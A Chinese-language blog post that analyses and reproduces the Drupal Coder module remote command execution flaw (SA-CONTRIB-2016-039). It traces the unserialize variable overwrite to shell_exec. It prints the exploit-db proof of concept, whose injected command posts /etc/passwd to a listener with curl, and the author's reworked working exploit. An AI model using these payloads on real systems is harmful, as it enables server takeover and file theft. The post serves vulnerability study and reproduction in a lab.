Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)
转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html
起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/
后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267
分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。
从exploit-db的漏洞详情中,我们可以看到这个poc:
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name) $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "color",
"files" => array("color.module")
)
),
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
"paths" => array(
"modules_base" => "../../../",
"files_base" => "../../../../sites/default/files"
)
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>
然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。
我们来分析:
0x00 我们首先定位漏洞的位置搞清楚执行流程

全局搜索,定位到了两处。其中的一处有我做测试时候的输出。
我们跟进去,
继续往上找。

在coder_upgrade_start函数的定义中使用了这个,继续跟进。

到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。
所以,接着我们来尝试构造exp。
0x01 构造利用的exp
在coder_upgrade.run.php中,我们看到
set_error_handler("error_handler");
set_exception_handler("exception_handler");
这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。


我们本地测试就不去修改这个配置了。先注释掉这个判断。
<?php
/**
* @file
* Invokes the Coder Upgrade conversion routines as a separate process.
*
* Using this script:
* - helps to minimize the memory usage by the web interface process
* - helps to avoid hitting memory and processing time limits by the PHP process
* - enables a batch processing workflow
*
* Parameters to this script:
* @param string $path
* Path to a file containing runtime parameters
*
* The parameters should be stored as the serialized value of an associative
* array with the following keys:
* - paths: paths to files and modules
* - theme_cache: path to core theme information cache
* - variables: variables used by coder_upgrade
* - upgrades: array to be passed to coder_upgrade_start()
* - extensions: ditto
* - items: ditto
*
* @see coder_upgrade_conversions_prepare()
* @see coder_upgrade_parameters_save()
* @see coder_upgrade_start()
*
* To execute this script, save the following shell script to a file and execute
* the shell script from the root directory of your Drupal installation. If you
* have changed the default coder_upgrade output directory name, then modify
* this script accordingly.
*
* #!/bin/sh
*
* MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
* FILES_DIRECTORY=[fill this in, e.g. default or mysite]
* CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
* SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
* RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
* OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
*
* php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
*
* Alternatively, replace the bracketed items in the following command and
* execute it from the root directory of your Drupal installation.
*
* php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php \
* -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt \
* > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
*
* Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
*/ // if (!script_is_cli()) {
// // Without proper web server configuration, this script can be invoked from a
// // browser and is vulnerable to misuse.
// return;
// } // Save memory usage for printing later (when code is loaded).
$usage = array();
save_memory_usage('start', $usage); /**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd()); ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler"); // Read command line arguments.
$path = extract_arguments(); //获取到file参数的值
if (is_null($path)) {
echo 'No path to parameter file';
return 2;
} // Load runtime parameters.
$parameters = unserialize(file_get_contents($path)); // Extract individual array items by key.
foreach ($parameters as $key => $variable) {
$$key = $variable; //变量覆盖,也是问题发生的关键地方
}
save_memory_usage('load runtime parameters', $usage); // Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables;
$_coder_upgrade_files_base = $paths['files_base'];
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base']; //以上的赋值需要构造,否则直接退出。 // Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) {
$_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage); // Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
'coder_upgrade.inc',
'includes/main.inc',
'includes/utility.inc',
); foreach ($files as $file) {
require_once DRUPAL_ROOT . '/' . $path . "/$file";
} //循环去包含文件,其中的main.inc会触发漏洞 coder_upgrade_path_clear('memory');
print_memory_usage($usage); // $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_';
// $trace_file = $trace_base . '1.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
// xdebug_stop_trace(); echo "upgrades"."<br>";
var_dump($upgrades); echo "extensions"."<br>";
var_dump($extensions); echo "items"."<br>";
var_dump($items); //调试输出的信息,原来的文件并没有 // Apply conversion functions.
$success = coder_upgrade_start($upgrades, $extensions, $items); //关键性的items变量带入 // $trace_file = $trace_base . '2.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('finish');
// xdebug_stop_trace(); return $success ? 0 : 1; /**
* Returns command line arguments.
*
* @return mixed
* String or array of command line arguments.
*/
function extract_arguments() {
switch (php_sapi_name()) {
case 'apache':
case 'apache2handler': // This is the value when running curl.
if (!isset($_GET['file'])) {
echo 'file parameter is not set';
return;
}
$filename = $_GET['file'];
$action = isset($_GET['action']) ? $_GET['action'] : '';
break; case 'cli':
$skip_args = 2;
if ($_SERVER['argc'] == 2) {
$skip_args = 1;
}
elseif ($_SERVER['argc'] < 2) {
echo 'CLI-1: file parameter is not set' . "\n";
return;
}
foreach ($_SERVER['argv'] as $index => $arg) {
// First two arguments are usually script filename and '--'.
// Sometimes the '--' is omitted.
if ($index < $skip_args) continue;
list($key, $value) = explode('=', $arg);
$arguments[$key] = $value;
}
if (!isset($arguments['file'])) {
echo 'CLI-2: file parameter is not set' . "\n";
return;
}
$filename = $arguments['file'];
$action = isset($arguments['action']) ? $arguments['action'] : '';
break;
}
return $filename;
} /**
* Saves memory usage for printing later.
*
* @param string $step
* A string describing the code step when the memory usage is gathered.
*
* @return mixed
* String or array of command line arguments.
*/
function save_memory_usage($step, &$usage) {
$usage[] = $step;
$usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = '';
$usage[] = '';
} function print_memory_usage($usage) {
$text = 'Missing memory usage information';
if (is_array($usage)) {
$text = implode("\n", $usage);
}
coder_upgrade_path_print(coder_upgrade_path('memory'), $text);
} function exception_handler($e) {
try {
// ... normal exception stuff goes here
}
catch (Exception $e) {
print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
}
} function error_handler($code, $message, $file, $line) {
if (0 == error_reporting()) {
return;
}
throw new ErrorException($message, 0, $code, $file, $line);
} /**
* Returns boolean indicating whether script is being run from the command line.
*
* @see drupal_is_cli()
*/
function script_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
对比原先的exp,我们加上两个变量:
"variables" => 1,
"theme_cache" => 1,
最终的利用代码参考:
<?php $host = "http://192.168.30.134/test/coder/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "coder",
"files" => array("coder.module")
)
),
"variables" => 1,
"theme_cache" => 1,
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
"paths" => array(
"modules_base" => "../../..",
"files_base" => "../..",
"libraries_base" => 1
)
);
$payload = serialize($a);
echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>
运行的结果会在当前的目录下生成一个文件夹:

原因是因为这个:

这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。
刚开始学习审计,多有不足之处,还请指出。
Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)的更多相关文章
- Drupal 远程命令执行漏洞(CVE-2018-7600)
名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- 泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
漏洞复现 影响版本: E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 直接在网站根目录后加入组件访问路径 /weaver/bsh.servl ...
- 22.ThinkPHP5框架缺陷导致远程命令执行
前言: 昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞 漏洞影响范围: Thinkphp 5.1.0 - 5.1.31 Thinkphp 5. ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- "Java 反序列化"过程远程命令执行漏洞
一.漏洞描述 国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...
- SSD报告 - QRadar远程命令执行
SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
随机推荐
- Auto Encoder
对自编码器的理解: 对于给定的原始输入x,让网络自动找到一种编码方式(特征提取,原始数据的另一种表达),使其解码后的输出x'尽可能复现原始输入x. 知乎参考:https://www.zhihu.com ...
- Spring Boot☞ 使用Thymeleaf模板引擎渲染web视图
静态资源访问 在我们开发Web应用的时候,需要引用大量的js.css.图片等静态资源. 默认配置 Spring Boot默认提供静态资源目录位置需置于classpath下,目录名需符合如下规则: /s ...
- kcp流模式与消息模式对比
kcp的流模式,和消息模式 流模式: 更高的网络利用率 更大的传输速度 解析数据相对更复杂 消息模式: 更小的网络利用率 更小的传输速度 解析数据相对更简单 消息模式的示意图 http://www.p ...
- CodeForces 339D Xenia and Bit Operations (线段树)
题意:给定 2的 n 次方个数,对这些数两个两个的进行或运算,然后会减少一半的数,然后再进行异或运算,又少了一半,然后再进行或运算,再进行异或,不断重复,到最后只剩下一个数,要输出这个数,然后有 m ...
- unity 确定敌人行走路线
一开始搞这个问题很头疼,无从下手. 1.敌人在随机地点产生后,每个敌人有要有自己自动的行走路线,目的地是保护地,而且行走路线要多样化. 2.敌人在看到玩家时,改变行走路线,向玩家的方向行进,且到了一定 ...
- 解决word2013老是打开未响应情况
问题:自己装了word2013时,每次打开word或者工作时,老是出现一个圈圈,提示未反应,是否关闭程序这样的提示: 解决方法:文件->选项->高级->显示->禁用硬件加速,将 ...
- SQL2008中sa账户无法登陆问题
实验需要用Java与SQL Server连接,因为使用的 SQL 2008 Express Edition 是基于 Visual Studio2010 安装包安装时一起安装的,所以为了方便数据库的操作 ...
- mysql group by 详解
GROUP BY X意思是将所有具有相同X字段值的记录放到一个分组里. 那么GROUP BY X, Y呢? GROUP BY X, Y意思是将所有具有相同X字段值和Y字段值的记录放到一个分组里.
- 微软2014实习生招聘笔试第2题 the k-th string
Time Limit: 10000msCase Time Limit: 1000msMemory Limit: 256MB Description Consider a string set that ...
- css 三彩loading
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title&g ...